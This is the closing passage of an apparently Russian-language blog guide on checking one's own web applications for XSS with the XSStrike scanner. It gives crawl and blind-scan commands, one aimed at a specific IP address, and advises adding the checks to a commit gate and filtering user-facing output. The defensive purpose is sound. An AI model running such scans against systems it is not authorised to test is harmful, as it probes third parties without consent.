python xsstrike.py -u «http://161.35.92.161» —blind —crawl -l 100

Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.

Также полезная функция — обход url страниц, которые указаны в файле с помощью опции —seeds. Можно также использовать вместе с опцией —headers.

python xsstrike.py -u «http://example.com» -l 3 —seeds urls.txt

Таким образом можно достаточно тщательно проверить свое веб-приложение на XSS уязвимости. Также хорошим ходом будет написать простой bash скрипт для объединения всех проверок XSS в один скрипт, специально заточенный под ваш проект.

Его задачей будет тестировать ваше веб-приложение после каждого изменения исходного кода и не пускать коммит в ветку master, если страницы и формы содержат XSS уязвимости .

Для борьбы с XSS уязвимости нужно также тщательно фильтровать данные, которые показываются пользователю.

Заключение

Надеюсь руководство будет полезным и поможет вам сделать свои сайты и веб-приложения безопаснее. Также стоит проверять не только сам сайт, но и ваши админки и вспомогательные сервисы на поддоменах, ведь они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.

Конечно приведенные меры не обеспечивают 100% защиты, и я не рассказал о многих других типовых уязвимостях, но показанные меры помогут защитить проект от автоматизированных систем взлома и злоумышленников с невысокими навыками.

Если есть вопросы, то смело пишите их в комментариях или мне в телеграм t.me/alex.belousov92

Также будет интересно почитать, что вы используете для тестирования безопасности ваших веб-приложений. Если статья наберет достаточное количество плюсов, то напишу продолжение. Поэтому не забудьте проголосовать, если статья понравилась!